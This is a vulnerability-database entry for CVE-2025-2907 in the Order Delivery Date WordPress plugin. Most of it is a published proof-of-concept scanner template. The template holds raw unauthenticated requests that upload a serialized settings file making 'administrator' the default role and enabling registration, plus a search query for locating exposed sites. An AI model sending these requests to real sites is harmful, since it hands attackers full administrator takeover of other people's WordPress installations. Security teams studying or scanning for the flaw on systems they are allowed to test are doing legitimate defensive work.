CVE-2025-2907: Order Delivery Date Pro for WooCommerce < 12.3.1 - Arbitrary Option Update

日期: 2025-08-01 | 影响软件: Order Delivery Date Pro for WooCommerce | POC: 已公开

漏洞描述

The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.

PoC代码[已公开]

id: CVE-2025-2907

info:
  name: Order Delivery Date Pro for WooCommerce < 12.3.1 - Arbitrary Option Update
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.
  remediation: |
    Update to version 12.3.1 or later.
  reference:
    - https://wpscan.com/vulnerability/2e513930-ec01-4dc6-8991-645c5267e14c/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2907
  classification:
    epss-score: 0.03137
    epss-percentile: 0.86384
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2907
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    fofa-query: body="wp-content/plugins/order-delivery-date-for-woocommerce"
  tags: cve,cve2025,wp,wordpress,wp-plugin,takeover,order-delivery-date,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYq6CV9CqPQBC7dSy

        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="action"

        orddd_import
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="is_drag_drop_request_ajax"

        yes
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="orddd-import-file";filename="exp.json"

        a:2:{s:18:"users_can_register";b:1;s:12:"default_role";s:13:"administrator";}
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy--

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'orddd_import_success')"
          - "contains(header, 'application/json')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'wp-login-register')"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYq6CV9CqPQBC7dSy

        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="action"

        orddd_import
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="is_drag_drop_request_ajax"

        yes
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy
        Content-Disposition: form-data; name="orddd-import-file";filename="exp.json"

        a:2:{s:18:"users_can_register";b:0;s:12:"default_role";s:13:"administrator";}
        ------WebKitFormBoundaryYq6CV9CqPQBC7dSy--

      - |
        GET /wp-login.php?{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "wp-login-register"
        negative: true
# digest: 490a00463044022031ec45113eb8c7498b1441ab20e7120143a9dc6856df7b2beccf64778b495abf02200c9085ab0b4b84b02f669b31e1b7d8e516556076c2ba8081745153d596021e27:922c64590222798bb761d5b6d8e72950